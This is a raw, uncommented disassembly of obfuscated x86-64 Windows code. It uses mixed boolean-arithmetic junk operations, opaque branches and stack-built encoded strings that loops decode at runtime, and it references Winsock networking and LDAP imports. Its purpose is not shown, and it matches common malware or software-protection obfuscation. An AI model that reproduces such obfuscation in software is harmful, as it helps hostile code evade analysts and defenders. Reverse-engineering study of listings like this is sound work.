movabs rcx, 0x385a8e6bcdc59b2e
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x42
jmp 0x14012b28a
lea rax, [r10 + 6]
cmp rbx, rax
jne 0x14012adcb
movabs rcx, 0x5588931cfe3f0da2
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x6e
jmp 0x14012b424
lea rax, [r10 + 1]
cmp rbx, rax
jne 0x14012b130
movabs rcx, 0x988441b0a6a44258
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 0x68
jmp 0x14012b424
lea rax, [r10 + 3]
cmp rbx, rax
jne 0x14012b15c
movabs rcx, 0x14d9a26c6f53950
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x30
jmp 0x14012b374
lea rax, [r10 + 2]
cmp rbx, rax
jne 0x14012b179
movabs rdx, 0x6a16f29ce7463048
mov ecx, 4
jmp 0x14012afba
lea rax, [r10 + 7]
cmp rbx, rax
jne 0x14012b196
movabs rdx, 0xd2e04b1307972740
mov ecx, reloc.WLDAP32.dll_Ordinal_32
jmp 0x14012b338
lea rax, [r10 + 5]
cmp rbx, rax
jne 0x14012ad2a
movabs rcx, 0x8744f74e17bfa2bc
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x24
jmp 0x14012b324
movabs rdx, 0xa472fbff48391530
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov dil, byte [rbp + r9 + 0x5f0]
sub dil, al
sub dil, 0x50
add dil, r8b
add dil, dl
movabs rdx, 0x7ea5521cd04d52ee
add rdx, r9
mov al, r8b
and al, dl
mov ecx, 0x3f
sub cl, al
add cl, cl
add cl, dil
add cl, r8b
add cl, dl
mov byte [rbp + r9 + 0x5f0], cl
add rbx, r10
jmp 0x14012b28a
movabs rdx, 0x58d7a83a586190ac
add rdx, r9
mov al, dl
and al, r8b
mov ecx, Ordinal_41
sub cl, al
lea edi, [rcx + rcx]
sub dil, byte [rbp + r9 + 0x5f0]
add dil, dl
add dil, r8b
jmp 0x14012b374
movabs rdx, 0xd4e1c6099ac470fa
mov ecx, reloc.WS2_32.dll_setsockopt
add rdx, r9
mov al, dl
and al, r8b
sub cl, al
lea edi, [rcx + rcx]
jmp 0x14012b243
movabs rcx, 0x207d19ce8a9bf57e
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x72
movzx eax, dil
or rcx, 0xffffffffffffffff
sub rcx, rax
add r9, rcx
jmp 0x14012b433
movabs rcx, 0x34f151d5a22830a
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x46
jmp 0x14012b34b
movabs rcx, 0x9a85bca739d18c12
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x7e
jmp 0x14012b300
movabs rdx, 0x31bc64311980951a
add rdx, r9
mov al, r8b
and al, dl
mov ecx, r14d
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
add dil, dl
movabs rcx, 0xca40a5e1c024d772
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
sub cl, 0x1e
add cl, r8b
mov byte [rbp + r9 + 0x5f0], cl
add r10, r12
jmp 0x14012b34b
movabs rdx, 0xc8f30bbaf92f9e22
mov ecx, 9
add rdx, r9
mov al, dl
and al, r8b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
sub r9, r12
jmp 0x14012b433
mov r8, r11
movabs rcx, 0xf7605aceb88db032
add rcx, r9
mov al, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
sub dil, 0x5e
movabs rdx, 0x3309fe57e075ce6a
add rdx, r9
mov al, dl
and al, r8b
mov ecx, reloc.WS2_32.dll_listen
sub cl, al
add cl, cl
add cl, dl
add cl, r8b
movzx eax, cl
mov byte [rbp + r9 + 0x5f0], al
add r10, r12
add rax, r10
sub r9, rax
jmp 0x14012b3cf
movabs rdx, 0x42fbae93a86534b6
add rdx, r9
mov al, r11b
and al, dl
mov ecx, 3
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r11b
mov r8b, r11b
movabs rcx, 0xd3c5475688a0c28
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
sub cl, 0x18
add cl, r8b
mov byte [rbp + r9 + 0x5f0], cl
add rbx, r12
or rax, 0xffffffffffffffff
sub rax, rbx
add r9, rax
jmp 0x14012b424
movabs rdx, 0x8e970258983cb93a
add rdx, r9
mov al, r11b
and al, dl
mov ecx, gethostname
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r11b
movzx eax, byte [rbp + r9 + 0x5f0]
add rax, r10
add r9, rax
add r9, r12
jmp 0x14012a89f
movabs rdx, 0x5c26bd57b28413b6
add rdx, r9
mov al, dl
and al, r8b
mov ecx, 3
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
jmp 0x14012a89c
movabs rdx, 0xa7c2111ca25b983a
add rdx, r9
mov al, dl
and al, r8b
mov ecx, gethostname
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
jmp 0x14012a88c
lea rdx, [rbp + 0x1598198]
jmp 0x14012b4a2
lea rdx, [rbp + 0x16dbf56]
jmp 0x14012b4a2
lea rdx, [rbp + 0x5f0]
lea rcx, [rbp]
call fcn.1400caa9c
mov rbx, rax
mov qword [rsp + 0x58], rax
xor edx, edx
mov r8d, 0x108
lea rcx, [rbp + 0x2270]
call sub.VCRUNTIME140.dll_memset
mov rdx, rbx
cmp qword [rbx + 0x18], 7
jbe 0x14012b4d4
mov rdx, qword [rbx]
mov dword [rsp + 0x20], r12d
mov r9d, 0x40
lea r8d, [r9 - 0x3e]
lea rcx, [rbp + 0x2270]
call fcn.1400ca964
nop
lea rcx, [rbp + 0x2270]
call fcn.1401aa82c
nop
lea rcx, [rbp + 0x2270]
call fcn.14008b590
nop
mov rcx, rbx
call fcn.140091ed0
mov byte [rbp + 0xa70], 0xe3
mov byte [rbp + 0xa71], 0xad
mov byte [rbp + 0xa72], 0xec
mov byte [rbp + 0xa73], 0xab
mov byte [rbp + 0xa74], recv
mov byte [rbp + 0xa75], 0xa9
mov byte [rbp + 0xa76], reloc.WLDAP32.dll_Ordinal_45
mov byte [rbp + 0xa77], reloc.WS2_32.dll___WSAFDIsSet
mov byte [rbp + 0xa78], 0x3d
mov byte [rbp + 0xa79], __WSAFDIsSet
mov byte [rbp + 0xa7a], 0
mov byte [rbp + 0xa7b], __WSAFDIsSet
mov byte [rbp + 0xa7c], reloc.WLDAP32.dll_Ordinal_60
mov byte [rbp + 0xa7d], __WSAFDIsSet
mov byte [rbp + 0xa7e], reloc.WS2_32.dll_listen
mov byte [rbp + 0xa7f], 0x9f
mov byte [rbp + 0xa80], 7
mov byte [rbp + 0xa81], 0x9d
mov byte [rbp + 0xa82], 5
mov byte [rbp + 0xa83], 0x9b
mov byte [rbp + 0xa84], reloc.WLDAP32.dll_Ordinal_60
mov byte [rbp + 0xa85], 0x99
mov byte [rbp + 0xa86], Ordinal_46
mov byte [rbp + 0xa87], 0x87
mov byte [rbp + 0xa88], reloc.WLDAP32.dll_Ordinal_22
mov byte [rbp + 0xa89], 0x85
mov byte [rbp + 0xa8a], Ordinal_217
mov byte [rbp + 0xa8b], 0x83
mov byte [rbp + 0xa8c], 0x3d
mov byte [rbp + 0xa8d], 0x81
mov byte [rbp + 0xa8e], Ordinal_50
mov byte [rbp + 0xa8f], reloc.WLDAP32.dll_Ordinal_143
mov byte [rbp + 0xa90], Ordinal_46
mov byte [rbp + 0xa91], Ordinal_143
mov byte [rbp + 0xa92], reloc.WS2_32.dll_recvfrom
mov byte [rbp + 0xa93], Ordinal_143
mov byte [rbp + 0xa94], reloc.WLDAP32.dll_Ordinal_33
mov byte [rbp + 0xa95], Ordinal_143
mov byte [rbp + 0xa96], 0x64
mov byte [rbp + 0xa97], 0xf7
mov byte [rbp + 0xa98], 0x5c
mov byte [rbp + 0xa99], 0xf5
mov byte [rbp + 0xa9a], 0x62
mov byte [rbp + 0xa9b], 0xf3
mov byte [rbp + 0xa9c], 0xaa
mov byte [rbp + 0xa9d], 0xf1
mov byte [rbp + 0xa9e], 0xa2
mov byte [rbp + 0xa9f], 0xff
mov byte [rbp + 0xaa0], 0xae
mov byte [rbp + 0xaa1], 0xfd
mov byte [rbp + 0xaa2], 0x57
mov byte [rbp + 0xaa3], 0xfb
mov byte [rbp + 0xaa4], 0x60
mov byte [rbp + 0xaa5], 0xf9
mov byte [rbp + 0xaa6], Ordinal_79
mov byte [rbp + 0xaa7], 0xe7
mov byte [rbp + 0xaa8], 0xb6
mov byte [rbp + 0xaa9], 0xe5
mov byte [rbp + 0xaaa], 0x77
mov byte [rbp + 0xaab], 0xe3
mov byte [rbp + 0xaac], 0x7d
mov byte [rbp + 0xaad], 0xe1
mov byte [rbp + 0xaae], 0x47
mov byte [rbp + 0xaaf], 0xef
mov byte [rbp + 0xab0], 0xec
mov byte [rbp + 0xab1], 0xed
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0xab2], xmm0
mov qword [rbp + 0xac2], rax
mov byte [rbp + 0xaca], al
mov dil, byte [rsp + 0x50]
call fcn.1401ac500
mov rbx, qword [rax]
call fcn.1401ac508
mov r10, qword [rax]
xor r9d, r9d
cmp r9, 0x5b
jae 0x14012c2e0
movzx r8d, byte [rbp + r9 + 0xa70]
mov r11, r8
cmp rbx, r9
ja 0x14012c2d7
lea rax, [r10 + 1]
cmp rbx, rax
jae 0x14012b75d
movabs rsi, 0xfa317cbfea226b1a
lea rcx, [r9 + rsi]
mov rax, r8
and rax, rcx
imul rdi, rax, 0xfffffffffffffffe
add rdi, r8
add rdi, rcx
add dil, 0x4a
jmp 0x14012b7a1
je 0x14012c24e
lea rax, [r10 + 3]
cmp rbx, rax
je 0x14012c1c0
lea rax, [r10 + 4]
cmp rbx, rax
je 0x14012c188
lea rax, [r10 + 6]
cmp rbx, rax
je 0x14012c13d
lea rax, [r10 + 2]
cmp rbx, rax
je 0x14012c114
movabs rsi, 0xfa317cbfea226b1a
cmp r10, r9
ja 0x14012c2ce
lea rax, [r10 + 0x7a]
cmp rbx, rax
jae 0x14012b7d7
movabs rdx, 0x860f3bbe34d2c922
add rdx, r9
mov al, dl
and al, r8b
mov ecx, 9
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
jmp 0x14012b80b
lea rax, [r10 + 1]
cmp rbx, rax
je 0x14012c0ce
lea rax, [r10 + 3]
cmp rbx, rax
je 0x14012c0ae
lea rax, [r10 + 5]
cmp rbx, rax
je 0x14012c08b
lea rax, [r10 + 7]
cmp rbx, rax
je 0x14012c068
lea rax, [r10 + rbx]
cmp rax, r9
jbe 0x14012bd49
lea rax, [r10 + 0x64]
cmp rbx, rax
je 0x14012bd26
lea rax, [r10 + 0x40]
cmp rbx, rax
je 0x14012bd12
lea rax, [r10 + 0x20]
cmp rbx, rax
je 0x14012bcef
lea rax, [r10 + 0xa]
cmp rbx, rax
je 0x14012bccc
lea rax, [r10 + 8]
cmp rbx, rax
je 0x14012bca5
lea rax, [r10 + 5]
cmp rbx, rax
je 0x14012bc82
lea rax, [r10 + 3]
cmp rbx, rax
je 0x14012bc6e
lea rax, [r10 + 1]
cmp rbx, rax
je 0x14012bc4b
lea rax, [r10 + 0x5a]
cmp rbx, rax
je 0x14012bc37
lea rax, [r10 + 0x7a]
cmp rbx, rax
je 0x14012b818
lea rbx, [r10 + 0x61]
lea r10, [rbx + 0x1000]
lea rax, [r10 + 0x400]
cmp rbx, rax
jb 0x14012c2ab
lea rax, [r10 + 0x200]
cmp rbx, rax
jb 0x14012c284
lea rax, [r10 + 6]
cmp rbx, rax
jb 0x14012b9fc
lea rax, [r10 + 4]
cmp rbx, rax
jb 0x14012b9d6
lea rax, [r10 + 2]
cmp rbx, rax
jb 0x14012b9af
lea rax, [r10 + 0x2a]
cmp rbx, rax
jb 0x14012bbdb
lea rax, [r10 + 0x41]
cmp rbx, rax
jb 0x14012bb7f
lea rax, [r10 + 0x61]
cmp rbx, rax
jb 0x14012bb31
lea rbx, [r10 + 0x80]
lea r10, [rbx + 0x64]
lea rax, [r10 + 0x42]
cmp rbx, rax
ja 0x14012bb0e
lea rax, [r10 + 0x28]
cmp rbx, rax
ja 0x14012baeb
lea rax, [r10 + 0x10]
cmp rbx, rax
ja 0x14012bad7
lea rax, [r10 + 9]
cmp rbx, rax
ja 0x14012bab4
lea rax, [r10 + 6]
cmp rbx, rax
ja 0x14012baa0
lea rax, [r10 + 4]
cmp rbx, rax
ja 0x14012ba7d
lea rax, [r10 + 2]
cmp rbx, rax
ja 0x14012ba69
lea rax, [r10 + 0x2a]
cmp rbx, rax
ja 0x14012ba46
lea rax, [r10 + 0x41]
cmp rbx, rax
ja 0x14012ba23
lea rax, [r10 + 0x61]
cmp rbx, rax
ja 0x14012b818
lea rbx, [r10 + 0x1000]
lea r10, [rbx + 0x400]
jmp 0x14012b818
movabs rdx, 0xd8debc3420b0271e
add rdx, r9
mov al, r8b
and al, dl
mov ecx, reloc.WS2_32.dll_socket
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
add dil, dl
jmp 0x14012b80b
movabs rdx, 0xe47bc2b44c6b50ea
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 0x66
add dil, dl
jmp 0x14012b7a1
movabs rdx, 0xf018c93478267ab6
add rdx, r9
mov al, dl
and al, r8b
mov ecx, 3
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
jmp 0x14012b724
movabs rcx, 0x3079ddf1a6964910
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x70
jmp 0x14012c0ec
movabs rcx, 0x3c16e471d25172dc
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 4
jmp 0x14012c132
movabs rdx, 0x47b3eaf1fe0c9ca8
mov ecx, 0x34
jmp 0x14012bea2
movabs rcx, 0x5350f17229c7c674
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x2c
jmp 0x14012c15b
movabs rdx, 0x5eedf7f25582f040
mov ecx, reloc.WLDAP32.dll_Ordinal_32
jmp 0x14012bcb4
movabs rcx, 0x6a8afe72813e1a0c
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x54
jmp 0x14012c1ad
movabs rdx, 0x762804f2acf943d8
mov ecx, recv
jmp 0x14012bdb2
movabs rcx, 0x81c50b72d8b46da4
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x7c
jmp 0x14012c217
movabs rcx, 0x8d6211f3046f9770
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x10
jmp 0x14012c26d
movabs rcx, 0xb607a8b39d7ea9ba
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x16
cmp r10, 0x41
jb 0x14012c001
movabs rcx, 0xafb7b47749b6ac5c
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
add cl, r8b
lea edi, [rcx*2 - 8]
jmp 0x14012c0ec
movabs rdx, 0xc1a4af33c939d386
add rdx, r9
mov al, dl
and al, r8b
mov ecx, Ordinal_46
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
cmp rbx, 3
jae 0x14012c00e
lea rcx, [r10 + 2]
cmp rbx, rcx
jbe 0x14012bf43
movabs rcx, 0x23d9f578ff064e54
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x4c
jmp 0x14012bb4f
movabs rcx, 0xcd41b5b3f4f4fd52
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x3e
lea rax, [r10 + rbx]
cmp rax, 0x5a
je 0x14012c03d
lea rax, [r10 + 0x41]
cmp rbx, rax
jbe 0x14012be5a
movabs rcx, 0x9dcab9baca338532
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x5e
jmp 0x14012bba1
movabs rdx, 0x245b66753cf0b6cc
mov ecx, gethostname
jmp 0x14012bd86
movabs rcx, 0x2ff86cf568abe098
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x28
jmp 0x14012c217
movabs rdx, 0x3b95737594670a64
mov ecx, Ordinal_35
jmp 0x14012bdb2
movabs rcx, 0x473279f5c0223430
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x50
jmp 0x14012c1ad
movabs rdx, 0x52cf8075ebdd5dfc
mov ecx, reloc.WS2_32.dll_ntohl
add rdx, r9
mov al, dl
and al, r8b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
jmp 0x14012c1aa
movabs rcx, 0x5e6c86f6179887c8
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x78
jmp 0x14012c15b
movabs rcx, 0x6a098d764353b194
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0xc
jmp 0x14012c135
movabs rdx, 0x75a693f66f0edb60
mov ecx, Ordinal_50
jmp 0x14012be42
movabs rcx, 0x81439a769aca052c
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x34
jmp 0x14012c0ec
lea rcx, [r10 + 2]
cmp rbx, rcx
jae 0x14012bd6e
lea rdx, [r9 + rsi]
mov al, dl
and al, r8b
mov ecx, r14d
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
jmp 0x14012bbf9
lea rax, [r10 + 1]
cmp rbx, rax
jne 0x14012bd9e
movabs rdx, 0xc1e777c69a59244
mov ecx, reloc.WS2_32.dll_select
add rdx, r9
mov al, dl
and al, r8b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
jmp 0x14012c26d
cmp rbx, rcx
jne 0x14012bdca
movabs rdx, 0xf4e46a7c122f3eac
mov ecx, Ordinal_41
add rdx, r9
mov al, dl
and al, r8b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
jmp 0x14012c1e5
lea rax, [r10 + 3]
cmp rbx, rax
jne 0x14012bdfa
movabs rdx, 0xd20d56fb8efdc148
add rdx, r9
mov al, r8b
and al, dl
mov ecx, 4
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
add dil, dl
jmp 0x14012c15b
lea rax, [r10 + 6]
cmp rbx, rax
jne 0x14012be26
movabs rcx, 0xc670507b6342977c
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x64
jmp 0x14012c135
lea rax, [r10 + 4]
cmp rbx, rax
jne 0x14012bbf9
movabs rdx, 0xbad349fb37876db0
mov ecx, Ordinal_27
add rdx, r9
mov al, dl
and al, r8b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
jmp 0x14012c132
lea rax, [r10 + 1]
cmp rbx, rax
jne 0x14012be8a
movabs rdx, 0x922db33a9e785b66
add rdx, r9
mov al, dl
and al, r8b
mov ecx, reloc.WLDAP32.dll_Ordinal_27
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
jmp 0x14012c0ec
lea rax, [r10 + 3]
cmp rbx, rax
jne 0x14012beba
movabs rdx, 0x7af3a63a470207ce
mov ecx, Ordinal_50
add rdx, r9
mov al, dl
and al, r8b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
jmp 0x14012c135
lea rax, [r10 + 5]
cmp rbx, rax
jne 0x14012bee6
movabs rcx, 0x63b99939ef8bb436
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x7a
jmp 0x14012c1aa
lea rax, [r10 + 4]
cmp rbx, rax
jne 0x14012bf12
movabs rcx, 0x4c7f8c399815609e
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x52
jmp 0x14012c1e5
lea rax, [r10 + 6]
cmp rbx, rax
jne 0x14012bba1
movabs rcx, 0x35457f39409f0d06
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 0x2a
jmp 0x14012c26d
lea rax, [r10 + 1]
cmp rbx, rax
jne 0x14012bf60
movabs rdx, 0x183ceef8d34b2488
mov ecx, 0x24
jmp 0x14012bd86
cmp rbx, rcx
jne 0x14012bf88
movabs rcx, 0xc9fe878a78ffabc
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x24
jmp 0x14012c217
lea rax, [r10 + 5]
cmp rbx, rax
jne 0x14012bfb4
movabs rcx, 0xe9c8d4f8245e7d58
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x68
jmp 0x14012c1aa
lea rax, [r10 + 3]
cmp rbx, rax
jne 0x14012bfd1
movabs rdx, 0xc6f1c177a12cfff4
mov ecx, Ordinal_46
jmp 0x14012be42
lea rax, [r10 + 7]
cmp rbx, rax
jne 0x14012bb4f
movabs rcx, 0xbb54baf77571d628
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x18
jmp 0x14012c0ec
mov byte [rbp + r9 + 0xa70], dil
jmp 0x14012c27c
movabs rdx, 0xa41aadf71dfb8290
add rdx, r9
mov al, dl
and al, r8b
mov ecx, 8
sub cl, al
lea edi, [rcx + rcx]
add dil, byte [rbp + r9 + 0xa70]
add dil, dl
add dil, r8b
jmp 0x14012c15b
movabs rcx, 0x987da776f24058c4
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
sub cl, byte [rbp + r9 + 0xa70]
lea edi, [r8 + rcx]
sub dil, 0x5c
jmp 0x14012c1e5
movabs rcx, 0x292707bcd6f97ac2
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x4e
jmp 0x14012c217
movabs rcx, 0x406114bd2e6fce5a
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x76
jmp 0x14012c1ad
movabs rcx, 0x6338283db1a14bbe
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x32
jmp 0x14012c135
movabs rcx, 0x7a72353e09179f56
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x5a
movabs rcx, 0xa9e9313733d91776
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
sub r8b, 0x3a
add r8b, cl
mov byte [rbp + r9 + 0xa70], r8b
jmp 0x14012c132
movabs rcx, 0x9d4948be8c491cba
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x16
add r10, r12
sub r9, r12
jmp 0x14012c27c
movabs rcx, 0xb48355bee3bf7052
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x3e
movabs rdx, 0x9e4c2ab7081dedaa
add rdx, r9
mov al, r8b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_45
sub cl, al
add cl, cl
add cl, r8b
add cl, dil
add cl, dl
mov byte [rbp + r9 + 0xa70], cl
jmp 0x14012c1aa
movabs rdx, 0xc0205c3f0f7a9a1e
add rdx, r9
mov al, r8b
and al, dl
mov ecx, reloc.WS2_32.dll_socket
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
add dil, dl
add rbx, r10
movzx eax, dil
or rcx, 0xffffffffffffffff
sub rcx, rax
add r9, rcx
jmp 0x14012c27c
mov r8, r11
movabs rdx, 0xd75a693f66f0edb6
add rdx, r9
mov al, dl
and al, r11b
mov ecx, 3
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r11b
movabs rdx, 0x92af2436dc62c3de
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov cl, r8b
sub cl, al
sub cl, 0x12
add cl, dl
movzx eax, cl
mov byte [rbp + r9 + 0xa70], al
add r10, r12
add rax, r10
sub r9, rax
movabs rdx, 0x8ce0a0f6c6852ef8
add rdx, r9
mov al, r8b
and al, dl
mov ecx, Ordinal_32
sub cl, al
add cl, cl
add cl, r8b
add cl, dl
mov byte [rbp + r9 + 0xa70], cl
add rbx, r12
or rax, 0xffffffffffffffff
sub rax, rbx
add r9, rax
jmp 0x14012c26d
movabs rcx, 0xee94763fbe67414e
add rcx, r9
mov al, r11b
and al, cl
add al, al
sub r11b, al
lea edi, [rcx + r11]
sub dil, 0x22
movzx eax, byte [rbp + r9 + 0xa70]
add rax, r10
add r9, rax
add r9, r12
jmp 0x14012b711
movabs rdx, 0xfbb5cfb4a3e1a482
add rdx, r9
mov al, r8b
and al, dl
mov ecx, reloc.WS2_32.dll_gethostname
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
add dil, dl
jmp 0x14012b70e
movabs rcx, 0x752d634cf9cce4e
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x22
jmp 0x14012b6fe
lea rdx, [rbp + 0x15fffe8]
jmp 0x14012c2e7
lea rdx, [rbp + 0x1026b02]
jmp 0x14012c2e7
lea rdx, [rbp + 0xa70]
lea rcx, [rbp + 0x180]
call fcn.1400caa9c
mov rbx, rax
mov qword [rsp + 0x58], rax
xor edx, edx
mov r8d, 0x108
lea rcx, [rbp + 0x2380]
call sub.VCRUNTIME140.dll_memset
mov rdx, rbx
cmp qword [rbx + 0x18], 7
jbe 0x14012c31c
mov rdx, qword [rbx]
mov dword [rsp + 0x20], r12d
mov r9d, 0x40
lea r8d, [r9 - 0x3e]
lea rcx, [rbp + 0x2380]
call fcn.1400ca964
nop
lea rcx, [rbp + 0x2380]
call fcn.1401aa82c
nop
lea rcx, [rbp + 0x2380]
call fcn.14008b590
nop
mov rcx, rbx
call fcn.140091ed0
mov byte [rbp + 0x5c0], Ordinal_60
mov byte [rbp + 0x5c1], Ordinal_143
mov byte [rbp + 0x5c2], 0x61
mov byte [rbp + 0x5c3], 0xf3
mov byte [rbp + 0x5c4], 0x5a
mov byte [rbp + 0x5c5], 0xf1
mov byte [rbp + 0x5c6], 0x62
mov byte [rbp + 0x5c7], 0xf7
mov byte [rbp + 0x5c8], reloc.WS2_32.dll_WSAGetLastError
mov byte [rbp + 0x5c9], 0xf5
mov byte [rbp + 0x5ca], 0x5b
mov byte [rbp + 0x5cb], 0xfb
mov byte [rbp + 0x5cc], WSACleanup
mov byte [rbp + 0x5cd], 0xf9
mov byte [rbp + 0x5ce], 0x5b
mov byte [rbp + 0x5cf], 0xff
mov byte [rbp + 0x5d0], 0x40
mov byte [rbp + 0x5d1], 0xfd
mov byte [rbp + 0x5d2], 0x59
mov byte [rbp + 0x5d3], 0xe3
mov byte [rbp + 0x5d4], Ordinal_79
mov byte [rbp + 0x5d5], 0xe1
mov byte [rbp + 0x5d6], reloc.WS2_32.dll_WSACleanup
mov byte [rbp + 0x5d7], 0xe7
mov byte [rbp + 0x5d8], reloc.WS2_32.dll_WSASetLastError
mov byte [rbp + 0x5d9], 0xe5
mov byte [rbp + 0x5da], 0x7f
mov byte [rbp + 0x5db], 0xeb
mov byte [rbp + 0x5dc], 0x7a
mov byte [rbp + 0x5dd], 0xe9
mov byte [rbp + 0x5de], Ordinal_79
mov byte [rbp + 0x5df], 0xef
mov byte [rbp + 0x5e0], 0x7a
mov byte [rbp + 0x5e1], 0xed
mov byte [rbp + 0x5e2], 0x88
mov byte [rbp + 0x5e3], reloc.WLDAP32.dll_Ordinal_211
mov byte [rbp + 0x5e4], 0x84
mov byte [rbp + 0x5e5], Ordinal_211
mov byte [rbp + 0x5e6], Ordinal_217
mov byte [rbp + 0x5e7], Ordinal_217
xor eax, eax
mov qword [rbp + 0x5e8], rax
mov dil, byte [rsp + 0x50]
call fcn.1401ac500
mov rbx, qword [rax]
call fcn.1401ac508
mov r10, qword [rax]
xor r9d, r9d
cmp r9, 0x30
jae 0x14012d039
movzx r8d, byte [rbp + r9 + 0x5c0]
mov rdx, r8
cmp rbx, r9
ja 0x14012d030
lea rax, [r10 + 1]
cmp rbx, rax
jae 0x14012c4e0
movabs r11, 0xa56801fc54f0c73e
lea rcx, [r9 + r11]
mov al, cl
and al, dl
mov edi, Ordinal_41
sub dil, al
add dil, dil
add dil, dl
add dil, cl
jmp 0x14012c524
je 0x14012cfad
lea rax, [r10 + 2]
cmp rbx, rax
je 0x14012cf28
lea rax, [r10 + 3]
cmp rbx, rax
je 0x14012cef9
lea rax, [r10 + 4]
cmp rbx, rax
je 0x14012ceaa
lea rax, [r10 + 8]
cmp rbx, rax
je 0x14012ce56
movabs r11, 0xa56801fc54f0c73e
cmp r10, r9
ja 0x14012d027
